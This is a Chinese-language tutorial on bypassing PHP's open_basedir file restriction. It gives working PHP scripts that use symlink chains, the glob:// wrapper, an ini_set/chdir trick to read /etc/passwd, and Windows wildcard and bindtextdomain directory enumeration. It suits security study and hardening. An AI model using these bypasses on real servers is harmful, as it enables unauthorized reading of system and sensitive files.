Open_basedir绕过
Open_basedir绕过
一.基础知识
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的
用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
我们在wwwroot目录下创建一个html文件夹和一个文本文件1.txt

其中1.txt内容为123456
html为网站根目录,下有一个index.php和test.php
其中test.php就是我们用来测试的php文件,如下
<?php
highlight_file("../1.txt");
$file=file_get_contents('../1.txt');
echo $file;
?>
在未设置open_basedir的情况下访问结果

我们设置open_basedir

即只能访问html目录下的文件

可见,无论是file_get_contents函数还是highlight_file都无效
二.命令执行函数绕过
由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。
我们将test.php修改后

可见可以无视open_basedir,但是一般都会禁用命令执行函数,所以实用价值不大
三.软链接:symlink()函数

注意: 针对 Windows:运行 PHP 于Vista、Server 2008 或更高版本才能正常使用。 之前版本的 Windows 不支持符号连接
此次实验环境:linux Ubuntu18.04.4 php 7.1.31
我们首先尝试使用symlink创建一个软链接

目标指向html目录下的error文件夹,访问后发现生成一个链接

双击进去可以访问到如下

我们保持之前的设置不变,尝试在open_basedir设置到html目录下,读取和html文件夹平行的1.txt
我们给出漏洞php内容
<?php
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
symlink("c/d","tmplink");
symlink("tmplink/../../1.txt","exploit");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("http://localhost/exploit");
?>
运行后结果如下,可见在html下生成c/d/和tmplink以及exploit,而我们成功读取到了1.txt的内容

我们可以查看一下链接

exploit链接到的是tmplink/../../1.txt,而tmplink链接到c/d,相当于exploit链接到c/d/../../1.txt,路径在open_basedir规定的目录下,符合操作规范,之后删除了tmplink链接,创建了tmplink实体文件夹,相当于此时的exploit指向的就是tmplink/../../1.txt,也就成功读取到了1.txt
关于软链也可以有另一种做法,测试php如下
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');
原理是一样的,只不过把软链改为实体文件夹的步骤换成了重构软链目标
四.glob伪协议

glob伪协议在筛选目录时不受open_basedir制约
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
上述payload可在php5.3以上读取仅针对linux根目录的目录
五. 利用ini_set读取文件内容

我们给出漏洞利用脚本,由于漏洞原理复杂,有兴趣可以自己研究,这里就不叙述
<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>
注意:这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止,比如php文件的位置为/www/admin/localhost_80/wwwroot/html/下,那么就要使用五次chdir("..");
六.其他读目录方式
对于windows系统
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>
以上都是windows下的列目录方式,用到了windows下通配符<>
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
这个是linux下的方法,dir传入的参数是目录,如果目录存在,就返回目录路径,不存在就返回bool(false),用于暴力猜解目录
参考资料
https://www.jianshu.com/p/cf2cd07d02cf
https://j7ur8.github.io/WebBook/PHP/%E5%88%A9%E7%94%A8symlink%E7%BB%95%E8%BF%87open_basedir.html
https://blog.csdn.net/weixin_33810302/article/details/87981560
Open_basedir绕过的更多相关文章
- php open_basedir绕过
描述 php为了安全性考虑,有一项 open_basedir 的设置,它可将用户访问文件的活动范围限制在指定的区域.根据你web服务器环境,open_basedir可以在几个地方设置. 首先 在php ...
- Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx
Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...
- web渗透学习目录
一,基础学习 01.基础学习 [[编码总结]] [[JSON三种数据解析方法]] [[js加密,解密]] [[Internet保留地址和非保留地址.内网和公网.VNC和UltraVN]] 代理 [[S ...
- php5全版本绕过open_basedir读文件脚本
这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...
- 绕过open_basedir读文件脚本
绕过open_basedir读文件脚本 2016年11月13日 01:28:21 阅读数:1221 参加了一场2016年的sycsec感觉又学到不少东西 废话不多说,首先啥是open_basedir? ...
- LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir
这次TCTF中一道题,给出了一个PHP一句话木马,设置了open_basedir,disable_functions包含所有执行系统命令的函数,然后目标是运行根目录下的/readflag,目标很明确, ...
- php绕过open_basedir设置
原理关于open_basedir open_basedir是php.ini中的一个配置选项 它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/ ...
- php-fpm(绕过open_basedir,结合ssrf)
环境的安装->https://www.cnblogs.com/zaqzzz/p/11870489.html 1.nginx的畸形访问 因为安装的是php7.0,所以需要手动修改一下(版本低的时候 ...
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
随机推荐
- 如何用FL Studio做电音
电音制作,自然少不了适合做电音的软件,市面上可以进行电音制作的软件不少,可是如果在这些软件中只能选择一款的话,想必多数人会把票投给FL Studio,毕竟高效率是永远不变的真理,今天就让我们来看看如何 ...
- 文档丢失不用怕,EasyRecovery帮你一键恢复
我们在使用电脑的过程中,有时会因为各种原因,导致我们所写的文档丢失了.遇到这种情况,该怎么办呢? 下面,就给大家分享一下用EasyRecovery如何恢复被丢失的文档. 1.双击进入EasyRecov ...
- 使用iMindMap思维导图软件的活动策划模板制定策划方案
活动策划不单单是一个头脑风暴的过程,更是一个整合各项资源.条件的过程.因此我们可以合理的使用思维导图软件来做活动策划.iMindMap(Windows系统)思维导图软件提供了快捷而方便的活动策划模板, ...
- 【Flutter 实战】酷炫的开关动画效果
此动画效果是我在浏览文章时发现的一个非常酷炫的效果,于是就使用 Flutter 实现了. 更多动画效果及Flutter资源:https://github.com/781238222/flutter-d ...
- JQuery案例:暖心小广告
暖心小广告 写一个页面,每隔3秒显示小广告,再过3秒自动关闭. <head> <meta charset="UTF-8"> <title>暖心广 ...
- 败家玩意儿!Redis 竟然浪费了这么多内存!
作为内存数据库,内存空间大小对于 Redis 来说是至关重要的.内存越多,意味着存储的数据也会越多.但是不知道你有没有遇到过这样的情况,明明空间很大,但是内存的使用却不是很理想. 为什么会出现这样的情 ...
- The First Assignment
我的第一条随笔 ========== 这个作业属于哪个课程 https://edu.cnblogs.com/campus/zswxy/SE2020-2 这个作业要求在哪里 https://edu.cn ...
- Gradle DSL method not found: 'google()'
报错信息如下:Gradle DSL method not found: 'google()'Possible causes:<ul><li>The project 'JustT ...
- Feign 超时设置
问题描述 微服务之间使用 Feign 调用,偶发超时问题,配置如下: feign: client: config: default: connectTimeout: 10000 readTimeout ...
- Mybatis报错invalid comparison: java.util.Date and java.lang.String
请求参数中两个属性确实都是date类型,数据库也确认是data类型,这个错误是因为 在这里把date类型的参数与单引号做了比较出现的,删除就可以正常运行了.